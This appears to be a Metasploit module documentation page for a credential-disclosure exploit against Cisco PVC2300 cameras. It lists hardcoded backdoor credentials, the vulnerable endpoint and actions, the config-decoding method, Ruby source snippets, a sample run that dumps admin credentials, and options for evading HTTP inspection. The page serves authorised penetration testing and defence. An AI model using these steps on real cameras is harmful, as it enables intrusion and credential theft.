Cisco PVC2300 POE Video Camera configuration download - Metasploit


This page contains detailed information about how to use the auxiliary/gather/cisco_pvc2300_download_config metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco PVC2300 POE Video Camera configuration download
Module: auxiliary/gather/cisco_pvc2300_download_config
Source code: modules/auxiliary/gather/cisco_pvc2300_download_config.rb
Disclosure date: 2013-07-12
Last modification time: 2022-08-04 11:45:36 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file containing the admin credentials for the web interface. The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using hardcoded credentials. If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml with the aim of downloading the configuration file. The configuration file, if obtained, is then decoded and saved to the loot directory. Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file. No known solution was made available for this vulnerability and no CVE has been published. It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected. This module was successfully tested against several Cisco PVC2300 cameras.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/gather/cisco_pvc2300_download_config
msf auxiliary(cisco_pvc2300_download_config) > show targets
    ... a list of targets ...
msf auxiliary(cisco_pvc2300_download_config) > set TARGET target-id
msf auxiliary(cisco_pvc2300_download_config) > show options
    ... show and set options ...
msf auxiliary(cisco_pvc2300_download_config) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file containing the admin credentials for the web interface.

The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the login action and the hardcoded credentials L1_admin:L1_51.

If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the downloadConfigurationFile action in an attempt to download the configuration file.

The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it, the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet. Then the configuration file is decoded using regular base64 and subsequently stored in the loot folder.

Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.

No known solution was made available for this vulnerability and no CVE has been published. It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.

This module was successfully tested against several Cisco PVC2300 cameras.

Options


No non-default options are configured.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/gather/cisco_pvc2300_download_config
  3. Do: set RHOSTS [IP]
  4. Do: run

Scenarios


Cisco PVC2300

Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.31.31.233    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
[*] Running module against 172.31.31.233

[*] The target may be vulnerable. Obtained sessionID 1122062985
[+] Successfully downloaded the configuration file
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
[*] Obtained device name PVC2300 POE Video Camera
[+] Obtained the following admin credentials for the web interface from the configuration file:
[*] admin username: admin
[*] admin password: [obfuscated]
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the gather/cisco_pvc2300_download_config auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/cisco_pvc2300_download_config

msf6 auxiliary(gather/cisco_pvc2300_download_config) > show info

       Name: Cisco PVC2300 POE Video Camera configuration download
     Module: auxiliary/gather/cisco_pvc2300_download_config
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-12

Provided by:
  Craig Heffner
  Erik Wynter

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    80               yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  This module exploits an information disclosure vulnerability in 
  Cisco PVC2300 cameras in order to download the configuration file 
  containing the admin credentials for the web interface. The module 
  first performs a basic check to see if the target is likely Cisco 
  PVC2300. If so, the module attempts to obtain a sessionID via an 
  HTTP GET request to the vulnerable /oamp/System.xml endpoint using 
  hardcoded credentials. If a session ID is obtained, the module uses 
  it in another HTTP GET request to /oamp/System.xml with the aim of 
  downloading the configuration file. The configuration file, if 
  obtained, is then decoded and saved to the loot directory. Finally, 
  the module attempts to extract the admin credentials to the web 
  interface from the decoded configuration file. No known solution was 
  made available for this vulnerability and no CVE has been published. 
  It is therefore likely that most (if not all) Cisco PVC2300 cameras 
  are affected. This module was successfully tested against several 
  Cisco PVC2300 cameras.

References:
  https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf
  https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf
  https://www.youtube.com/watch?v=B8DjTcANBx0

Module Options


This is a complete list of options available in the gather/cisco_pvc2300_download_config auxiliary module:

msf6 auxiliary(gather/cisco_pvc2300_download_config) > show options

Module options (auxiliary/gather/cisco_pvc2300_download_config):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/cisco_pvc2300_download_config auxiliary module:

msf6 auxiliary(gather/cisco_pvc2300_download_config) > show advanced

Module advanced options (auxiliary/gather/cisco_pvc2300_download_config):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   AutoCheck                true                                   no        Run check before exploit
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                  no        Override check result
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/cisco_pvc2300_download_config module can do:

msf6 auxiliary(gather/cisco_pvc2300_download_config) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/cisco_pvc2300_download_config auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/cisco_pvc2300_download_config) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed when trying to obtain a session ID


Here is a relevant code snippet related to the "Connection failed when trying to obtain a session ID" error message:

73:	        'password' => 'L1_51'
74:	      }
75:	    })
76:	
77:	    unless res
78:	      fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
79:	    end
80:	
81:	    unless res.code == 200
82:	      fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
83:	    end

Received unexpected response code <RES.CODE> while trying to obtain a session ID.


Here is a relevant code snippet related to the "Received unexpected response code <RES.CODE> while trying to obtain a session ID." error message:

77:	    unless res
78:	      fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
79:	    end
80:	
81:	    unless res.code == 200
82:	      fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
83:	    end
84:	
85:	    if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
86:	      session_id = res.headers['sessionID']
87:	      print_status("The target may be vulnerable. Obtained sessionID #{session_id}")

Failed to obtain a session ID.


Here is a relevant code snippet related to the "Failed to obtain a session ID." error message:

90:	
91:	    # try to check the status message in the response body
92:	    # the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
93:	    status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
94:	    if status.blank?
95:	      fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
96:	    end
97:	
98:	    if status == 'try it later'
99:	      fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
100:	    else

Failed to obtain a session ID. The server responded with status: <STATUS>. The target may still be vulnerable.


Here is a relevant code snippet related to the "Failed to obtain a session ID. The server responded with status: <STATUS>. The target may still be vulnerable." error message:

94:	    if status.blank?
95:	      fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
96:	    end
97:	
98:	    if status == 'try it later'
99:	      fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
100:	    else
101:	      fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
102:	    end
103:	  end
104:	

Failed to obtain a session ID. The server responded with status: <STATUS>


Here is a relevant code snippet related to the "Failed to obtain a session ID. The server responded with status: <STATUS>" error message:

96:	    end
97:	
98:	    if status == 'try it later'
99:	      fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
100:	    else
101:	      fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
102:	    end
103:	  end
104:	
105:	  def download_config_file(session_id)
106:	    vprint_status('Attempting to download the configuration file')

Connection failed when trying to download the configuration file


Here is a relevant code snippet related to the "Connection failed when trying to download the configuration file" error message:

115:	        'action' => 'downloadConfigurationFile'
116:	      }
117:	    })
118:	
119:	    unless res
120:	      fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
121:	    end
122:	
123:	    unless res.code == 200 && !res.body.empty?
124:	      fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
125:	    end

Failed to obtain the configuration file


Here is a relevant code snippet related to the "Failed to obtain the configuration file" error message:

119:	    unless res
120:	      fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
121:	    end
122:	
123:	    unless res.code == 200 && !res.body.empty?
124:	      fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
125:	    end
126:	
127:	    # if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
128:	    res.body
129:	  end

Encountered the following error when attempting to decode the configuration file


Here is a relevant code snippet related to the "Encountered the following error when attempting to decode the configuration file" error message:

132:	    # if we've made it all the way here, this shouldn't break, but better safe than sorry
133:	    begin
134:	      config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
135:	      config_file_decoded = Base64.decode64(config_file_base64)
136:	    rescue StandardError => e
137:	      print_error('Encountered the following error when attempting to decode the configuration file:')
138:	      print_error(e)
139:	      fail_with(Failure::Unknown, 'Failed to decode the configuration file')
140:	    end
141:	
142:	    # let's just save the full config at this point

Failed to decode the configuration file


Here is a relevant code snippet related to the "Failed to decode the configuration file" error message:

134:	      config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
135:	      config_file_decoded = Base64.decode64(config_file_base64)
136:	    rescue StandardError => e
137:	      print_error('Encountered the following error when attempting to decode the configuration file:')
138:	      print_error(e)
139:	      fail_with(Failure::Unknown, 'Failed to decode the configuration file')
140:	    end
141:	
142:	    # let's just save the full config at this point
143:	    path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
144:	    print_good('Successfully downloaded the configuration file')

Failed to obtain the admin credentials from the configuration file


Here is a relevant code snippet related to the "Failed to obtain the admin credentials from the configuration file" error message:

162:	    if config_file_decoded.include?('admin_password')
163:	      admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
164:	    end
165:	
166:	    if admin_name.blank? && admin_password.blank?
167:	      print_error('Failed to obtain the admin credentials from the configuration file')
168:	    else
169:	      print_good('Obtained the following admin credentials for the web interface from the configuration file:')
170:	      print_status("admin username: #{admin_name}")
171:	      print_status("admin password: #{admin_password}")
172:	      # save the creds to the db

Target is unreachable.


Here is a relevant code snippet related to the "Target is unreachable." error message:

203:	
204:	  def check
205:	    res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
206:	
207:	    unless res1
208:	      return Exploit::CheckCode::Unknown('Target is unreachable.')
209:	    end
210:	
211:	    # string togetether a few checks to make it more likely we're dealing with a Cisco camera
212:	    unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
213:	      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')

Target is not a Cisco PVC2300 POE Video Camera


Here is a relevant code snippet related to the "Target is not a Cisco PVC2300 POE Video Camera" error message:

208:	      return Exploit::CheckCode::Unknown('Target is unreachable.')
209:	    end
210:	
211:	    # string togetether a few checks to make it more likely we're dealing with a Cisco camera
212:	    unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
213:	      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
214:	    end
215:	
216:	    res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
217:	    unless res2
218:	      return Exploit::CheckCode::Unknown('Target is unreachable.')

Target is unreachable.


Here is a relevant code snippet related to the "Target is unreachable." error message:

213:	      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
214:	    end
215:	
216:	    res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
217:	    unless res2
218:	      return Exploit::CheckCode::Unknown('Target is unreachable.')
219:	    end
220:	
221:	    unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
222:	      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
223:	    end

Target is not a Cisco PVC2300 POE Video Camera


Here is a relevant code snippet related to the "Target is not a Cisco PVC2300 POE Video Camera" error message:

217:	    unless res2
218:	      return Exploit::CheckCode::Unknown('Target is unreachable.')
219:	    end
220:	
221:	    unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
222:	      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
223:	    end
224:	
225:	    vprint_status('Target seems to be a Cisco camera')
226:	    Exploit::CheckCode::Appears
227:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Craig Heffner
  • Erik Wynter

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.